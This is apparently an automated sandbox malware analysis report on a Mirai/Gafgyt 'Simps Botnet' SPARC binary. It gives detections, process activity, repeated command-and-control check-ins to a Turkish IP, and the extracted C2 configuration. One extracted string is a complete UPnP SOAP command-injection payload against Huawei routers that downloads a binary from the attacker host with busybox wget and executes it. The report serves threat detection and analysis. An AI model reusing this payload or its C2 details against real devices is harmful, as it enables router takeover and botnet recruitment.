Edit tour

Linux Analysis Report
sparc.elf

Overview

General Information

Sample name:	sparc.elf
Analysis ID:	1583618
MD5:	3f38be7bcf8c6d8141295dac00881d95
SHA1:	186fa636156562b86e1027db0c8ad4dac6de89e8
SHA256:	e6e942b13233a22a3c3a2e56342a10547df325e0852748f3a98d72e3b89705e9
Tags:	elfuser-abuse_ch
Infos:

Detection

Gafgyt, Mirai

Score:	96
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected Gafgyt

Yara detected Mirai

Contains symbols with names commonly found in malware

Opens /proc/net/* files useful for finding connected devices and routers

Detected TCP or UDP traffic on non-standard ports

Executes the "rm" command used to delete files or directories

Sample and/or dropped files contains symbols with suspicious names

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample contains strings that are user agent strings indicative of HTTP manipulation

Suricata IDS alerts with low severity for network traffic

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1583618
Start date and time:	2025-01-03 08:05:25 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	sparc.elf
Detection:	MAL
Classification:	mal96.spre.troj.linELF@0/2@0/0

Warnings

VT rate limit hit for: 212.64.199.97:65525
VT rate limit hit for: http://212.64.199.97/Simps/mips

Runtime Messages

Command:	/tmp/sparc.elf
PID:	6269
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	Infected By Simps Botnet ;) Infected By Simps Botnet ;)
Standard Error:

Process Tree

system is lnxubuntu20

sparc.elf (PID: 6269, Parent: 6194, MD5: 7dc1c0e23cd5e102bb12e5c29403410e) Arguments: /tmp/sparc.elf

sparc.elf New Fork (PID: 6271, Parent: 6269)

sparc.elf New Fork (PID: 6273, Parent: 6271)

dash New Fork (PID: 6288, Parent: 4331)

rm (PID: 6288, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.qA3gIVf2U2 /tmp/tmp.rxi0equVk6 /tmp/tmp.Keyesmc4lv

dash New Fork (PID: 6289, Parent: 4331)

rm (PID: 6289, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.qA3gIVf2U2 /tmp/tmp.rxi0equVk6 /tmp/tmp.Keyesmc4lv

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Bashlite, Gafgyt	Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps.	No Attribution	http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/ https://blog.cyber5w.com/gafgyt-backdoor-analysis https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/ https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author
sparc.elf	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
sparc.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
sparc.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author
6269.1.00007f797c011000.00007f797c033000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6269.1.00007f797c011000.00007f797c033000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6271.1.00007f797c011000.00007f797c033000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6271.1.00007f797c011000.00007f797c033000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: sparc.elf PID: 6269	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: sparc.elf PID: 6271	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Click to see the 1 entries

Suricata Signatures

ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-03T08:06:32.722717+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53030	212.64.199.97	65525	TCP
2025-01-03T08:06:34.516340+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53032	212.64.199.97	65525	TCP
2025-01-03T08:06:36.301308+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53034	212.64.199.97	65525	TCP
2025-01-03T08:06:38.073100+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53036	212.64.199.97	65525	TCP
2025-01-03T08:06:39.858699+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53038	212.64.199.97	65525	TCP
2025-01-03T08:06:41.636836+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53040	212.64.199.97	65525	TCP
2025-01-03T08:06:43.416918+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53042	212.64.199.97	65525	TCP
2025-01-03T08:06:45.207247+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53044	212.64.199.97	65525	TCP
2025-01-03T08:06:46.981678+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53046	212.64.199.97	65525	TCP
2025-01-03T08:06:49.698122+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53048	212.64.199.97	65525	TCP
2025-01-03T08:06:51.465716+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53050	212.64.199.97	65525	TCP
2025-01-03T08:06:53.235117+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53052	212.64.199.97	65525	TCP
2025-01-03T08:06:55.020950+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53054	212.64.199.97	65525	TCP
2025-01-03T08:06:56.798291+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53056	212.64.199.97	65525	TCP
2025-01-03T08:06:58.599252+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53058	212.64.199.97	65525	TCP
2025-01-03T08:07:01.162405+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53060	212.64.199.97	65525	TCP
2025-01-03T08:07:02.940891+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53062	212.64.199.97	65525	TCP
2025-01-03T08:07:04.727130+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53064	212.64.199.97	65525	TCP
2025-01-03T08:07:06.495948+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53066	212.64.199.97	65525	TCP
2025-01-03T08:07:08.302031+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53068	212.64.199.97	65525	TCP
2025-01-03T08:07:10.099991+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53070	212.64.199.97	65525	TCP
2025-01-03T08:07:11.891908+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53072	212.64.199.97	65525	TCP
2025-01-03T08:07:13.676168+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53074	212.64.199.97	65525	TCP
2025-01-03T08:07:15.450974+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53076	212.64.199.97	65525	TCP
2025-01-03T08:07:17.234912+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53078	212.64.199.97	65525	TCP
2025-01-03T08:07:19.017701+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53080	212.64.199.97	65525	TCP
2025-01-03T08:07:20.798660+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53082	212.64.199.97	65525	TCP
2025-01-03T08:07:22.579178+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53084	212.64.199.97	65525	TCP
2025-01-03T08:07:24.360987+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53086	212.64.199.97	65525	TCP
2025-01-03T08:07:26.162960+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53088	212.64.199.97	65525	TCP
2025-01-03T08:07:27.933680+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53090	212.64.199.97	65525	TCP
2025-01-03T08:07:29.730790+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53092	212.64.199.97	65525	TCP
2025-01-03T08:07:31.517616+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53094	212.64.199.97	65525	TCP
2025-01-03T08:07:33.298260+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53096	212.64.199.97	65525	TCP
2025-01-03T08:07:35.083888+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53098	212.64.199.97	65525	TCP
2025-01-03T08:07:36.861583+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53100	212.64.199.97	65525	TCP
2025-01-03T08:07:38.637501+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53102	212.64.199.97	65525	TCP
2025-01-03T08:07:40.425867+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53104	212.64.199.97	65525	TCP
2025-01-03T08:07:42.184077+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53106	212.64.199.97	65525	TCP
2025-01-03T08:07:43.977241+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53108	212.64.199.97	65525	TCP
2025-01-03T08:07:45.749633+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53110	212.64.199.97	65525	TCP
2025-01-03T08:07:47.533355+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53112	212.64.199.97	65525	TCP
2025-01-03T08:07:49.335663+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53114	212.64.199.97	65525	TCP
2025-01-03T08:07:51.126464+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53116	212.64.199.97	65525	TCP
2025-01-03T08:07:52.909442+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53118	212.64.199.97	65525	TCP
2025-01-03T08:07:54.689047+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53120	212.64.199.97	65525	TCP
2025-01-03T08:07:56.490755+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53122	212.64.199.97	65525	TCP
2025-01-03T08:07:58.306171+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53124	212.64.199.97	65525	TCP
2025-01-03T08:08:00.101561+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53126	212.64.199.97	65525	TCP
2025-01-03T08:08:01.871739+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53128	212.64.199.97	65525	TCP
2025-01-03T08:08:03.662774+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53130	212.64.199.97	65525	TCP
2025-01-03T08:08:05.433362+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53132	212.64.199.97	65525	TCP
2025-01-03T08:08:07.199733+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53134	212.64.199.97	65525	TCP
2025-01-03T08:08:08.999059+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53136	212.64.199.97	65525	TCP
2025-01-03T08:08:10.785425+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53138	212.64.199.97	65525	TCP
2025-01-03T08:08:12.584267+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53140	212.64.199.97	65525	TCP
2025-01-03T08:08:14.362441+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53142	212.64.199.97	65525	TCP
2025-01-03T08:08:16.162812+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53144	212.64.199.97	65525	TCP
2025-01-03T08:08:17.936470+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53146	212.64.199.97	65525	TCP
2025-01-03T08:08:19.705293+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53148	212.64.199.97	65525	TCP
2025-01-03T08:08:21.487004+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53150	212.64.199.97	65525	TCP
2025-01-03T08:08:23.268761+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53152	212.64.199.97	65525	TCP
2025-01-03T08:08:25.102485+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53154	212.64.199.97	65525	TCP
2025-01-03T08:08:26.931516+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53156	212.64.199.97	65525	TCP
2025-01-03T08:08:28.735730+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53158	212.64.199.97	65525	TCP
2025-01-03T08:08:30.521495+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53160	212.64.199.97	65525	TCP
2025-01-03T08:08:32.295205+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53162	212.64.199.97	65525	TCP
2025-01-03T08:08:35.253747+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53164	212.64.199.97	65525	TCP
2025-01-03T08:08:37.034998+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53166	212.64.199.97	65525	TCP
2025-01-03T08:08:38.877782+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53168	212.64.199.97	65525	TCP
2025-01-03T08:08:40.667942+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53170	212.64.199.97	65525	TCP
2025-01-03T08:08:42.474751+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53172	212.64.199.97	65525	TCP
2025-01-03T08:08:44.392704+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53174	212.64.199.97	65525	TCP
2025-01-03T08:08:46.181915+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53176	212.64.199.97	65525	TCP
2025-01-03T08:08:47.986022+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53178	212.64.199.97	65525	TCP
2025-01-03T08:08:49.766745+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53180	212.64.199.97	65525	TCP
2025-01-03T08:08:51.537362+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53182	212.64.199.97	65525	TCP
2025-01-03T08:08:53.318137+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53184	212.64.199.97	65525	TCP
2025-01-03T08:08:55.120234+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53186	212.64.199.97	65525	TCP
2025-01-03T08:08:56.917042+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53188	212.64.199.97	65525	TCP
2025-01-03T08:08:58.713479+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53190	212.64.199.97	65525	TCP
2025-01-03T08:09:00.493040+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53192	212.64.199.97	65525	TCP
2025-01-03T08:09:02.310471+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53194	212.64.199.97	65525	TCP
2025-01-03T08:09:04.080139+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53196	212.64.199.97	65525	TCP
2025-01-03T08:09:05.844933+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53198	212.64.199.97	65525	TCP
2025-01-03T08:09:07.634802+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53200	212.64.199.97	65525	TCP
2025-01-03T08:09:09.412786+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53202	212.64.199.97	65525	TCP
2025-01-03T08:09:11.218146+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53204	212.64.199.97	65525	TCP
2025-01-03T08:09:12.985581+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53206	212.64.199.97	65525	TCP
2025-01-03T08:09:14.792385+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53208	212.64.199.97	65525	TCP
2025-01-03T08:09:16.600936+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53210	212.64.199.97	65525	TCP
2025-01-03T08:09:18.395833+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53212	212.64.199.97	65525	TCP
2025-01-03T08:09:20.183020+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53214	212.64.199.97	65525	TCP
2025-01-03T08:09:21.976266+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53216	212.64.199.97	65525	TCP
2025-01-03T08:09:23.764920+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53218	212.64.199.97	65525	TCP
2025-01-03T08:09:25.571374+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53220	212.64.199.97	65525	TCP
2025-01-03T08:09:27.351290+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53222	212.64.199.97	65525	TCP
2025-01-03T08:09:29.153385+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53224	212.64.199.97	65525	TCP
2025-01-03T08:09:30.943235+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53226	212.64.199.97	65525	TCP
2025-01-03T08:09:32.724063+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53228	212.64.199.97	65525	TCP
2025-01-03T08:09:34.516675+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53230	212.64.199.97	65525	TCP
2025-01-03T08:09:36.309909+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53232	212.64.199.97	65525	TCP
2025-01-03T08:09:38.081834+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53234	212.64.199.97	65525	TCP
2025-01-03T08:09:39.882353+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53236	212.64.199.97	65525	TCP
2025-01-03T08:09:41.643495+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53238	212.64.199.97	65525	TCP
2025-01-03T08:09:43.407230+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53240	212.64.199.97	65525	TCP
2025-01-03T08:09:45.192837+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53242	212.64.199.97	65525	TCP
2025-01-03T08:09:46.991609+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53244	212.64.199.97	65525	TCP
2025-01-03T08:09:48.780867+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53246	212.64.199.97	65525	TCP
2025-01-03T08:09:50.573802+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53248	212.64.199.97	65525	TCP
2025-01-03T08:09:52.346631+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53250	212.64.199.97	65525	TCP
2025-01-03T08:09:54.142397+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53252	212.64.199.97	65525	TCP
2025-01-03T08:09:55.946177+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53254	212.64.199.97	65525	TCP
2025-01-03T08:09:57.742761+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53256	212.64.199.97	65525	TCP
2025-01-03T08:09:59.521183+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53258	212.64.199.97	65525	TCP
2025-01-03T08:10:01.304645+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53260	212.64.199.97	65525	TCP
2025-01-03T08:10:03.086413+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53262	212.64.199.97	65525	TCP
2025-01-03T08:10:04.863674+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53264	212.64.199.97	65525	TCP
2025-01-03T08:10:06.648905+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53266	212.64.199.97	65525	TCP
2025-01-03T08:10:08.427928+0100	2848448	1	A Network Trojan was detected	192.168.2.23	53268	212.64.199.97	65525	TCP

String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.97 -l /tmp/binary -r /Simps/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: classification engine

Classification label: mal96.spre.troj.linELF@0/2@0/0

Source: sparc.elf	ELF static info symbol of initial sample: libc/string/sparc/memchr.S
Source: sparc.elf	ELF static info symbol of initial sample: libc/string/sparc/memcpy.S
Source: sparc.elf	ELF static info symbol of initial sample: libc/string/sparc/memset.S
Source: sparc.elf	ELF static info symbol of initial sample: libc/string/sparc/strchr.S
Source: sparc.elf	ELF static info symbol of initial sample: libc/string/sparc/strcmp.S
Source: sparc.elf	ELF static info symbol of initial sample: libc/string/sparc/strcpy.S
Source: sparc.elf	ELF static info symbol of initial sample: libc/string/sparc/strlen.S
Source: sparc.elf	ELF static info symbol of initial sample: libc/sysdeps/linux/sparc/crt1.S
Source: sparc.elf	ELF static info symbol of initial sample: libc/sysdeps/linux/sparc/crti.S
Source: sparc.elf	ELF static info symbol of initial sample: libc/sysdeps/linux/sparc/crtn.S
Source: sparc.elf	ELF static info symbol of initial sample: libc/sysdeps/linux/sparc/fork.S
Source: sparc.elf	ELF static info symbol of initial sample: libc/sysdeps/linux/sparc/rem.S
Source: sparc.elf	ELF static info symbol of initial sample: libc/sysdeps/linux/sparc/udiv.S
Source: sparc.elf	ELF static info symbol of initial sample: libc/sysdeps/linux/sparc/umul.S
Source: sparc.elf	ELF static info symbol of initial sample: libc/sysdeps/linux/sparc/urem.S

Source: /usr/bin/dash (PID: 6288)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.qA3gIVf2U2 /tmp/tmp.rxi0equVk6 /tmp/tmp.Keyesmc4lv			Jump to behavior
Source: /usr/bin/dash (PID: 6289)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.qA3gIVf2U2 /tmp/tmp.rxi0equVk6 /tmp/tmp.Keyesmc4lv			Jump to behavior

Source: /tmp/sparc.elf (PID: 6269)

Log file created: /tmp/Infected.log

Jump to dropped file

Source: /tmp/sparc.elf (PID: 6269)

Queries kernel information via 'uname':

Jump to behavior

Source: sparc.elf, 6269.1.00007ffff7f2a000.00007ffff7f4b000.rw-.sdmp	Binary or memory string: /tmp/qemu-open.BYN6pd
Source: sparc.elf, 6269.1.0000564010a69000.0000564010aee000.rw-.sdmp, sparc.elf, 6271.1.0000564010a69000.0000564010aee000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sparc
Source: sparc.elf, 6269.1.00007ffff7f2a000.00007ffff7f4b000.rw-.sdmp	Binary or memory string: @V/tmp/qemu-open.BYN6pd\
Source: sparc.elf, 6269.1.00007ffff7f2a000.00007ffff7f4b000.rw-.sdmp, sparc.elf, 6271.1.00007ffff7f2a000.00007ffff7f4b000.rw-.sdmp	Binary or memory string: Jx86_64/usr/bin/qemu-sparc/tmp/sparc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/sparc.elf
Source: sparc.elf, 6269.1.0000564010a69000.0000564010aee000.rw-.sdmp, sparc.elf, 6271.1.0000564010a69000.0000564010aee000.rw-.sdmp	Binary or memory string: @V!/etc/qemu-binfmt/sparc
Source: sparc.elf, 6269.1.00007ffff7f2a000.00007ffff7f4b000.rw-.sdmp, sparc.elf, 6271.1.00007ffff7f2a000.00007ffff7f4b000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sparc

Stealing of Sensitive Information

Yara detected Gafgyt

Source: Yara match

File source: sparc.elf, type: SAMPLE

Yara detected Mirai

Source: Yara match	File source: sparc.elf, type: SAMPLE
Source: Yara match	File source: 6269.1.00007f797c011000.00007f797c033000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6271.1.00007f797c011000.00007f797c033000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: sparc.elf PID: 6269, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sparc.elf PID: 6271, type: MEMORYSTR

Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36
Source: Initial sample	User agent string found: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36

Remote Access Functionality

Yara detected Gafgyt

Source: Yara match

File source: sparc.elf, type: SAMPLE

Yara detected Mirai

Source: Yara match	File source: sparc.elf, type: SAMPLE
Source: Yara match	File source: 6269.1.00007f797c011000.00007f797c033000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6271.1.00007f797c011000.00007f797c033000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: sparc.elf PID: 6269, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sparc.elf PID: 6271, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 File Deletion	LSASS Memory	1 Remote System Discovery	Remote Desktop Protocol	Data from Removable Media	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Application Layer Protocol	Traffic Duplication	Data Destruction

Malware Configuration

Threatname: Gafgyt

{"C2 url": "212.64.199.97:65525"}

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
sparc.elf	65%	Virustotal		Browse
sparc.elf	66%	ReversingLabs	Linux.Trojan.Mirai
sparc.elf	100%	Avira	LINUX/Mirai.bonb

Source	Detection	Scanner	Label	Link
212.64.199.97:65525	0%	Avira URL Cloud	safe
http://212.64.199.97/Simps/mips	100%	Avira URL Cloud	malware

Name	Malicious	Antivirus Detection	Reputation
212.64.199.97:65525	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://212.64.199.97/Simps/mips	sparc.elf	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/soap/encoding/	sparc.elf	false		high
http://purenetworks.com/HNAP1/	sparc.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	sparc.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
34.249.145.219	unknown	United States	16509	AMAZON-02US	false
212.64.199.97	unknown	Turkey	12599	ATLAS-ASTR	true
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
34.249.145.219	powerpc.elf	Get hash	malicious	Mirai	Browse
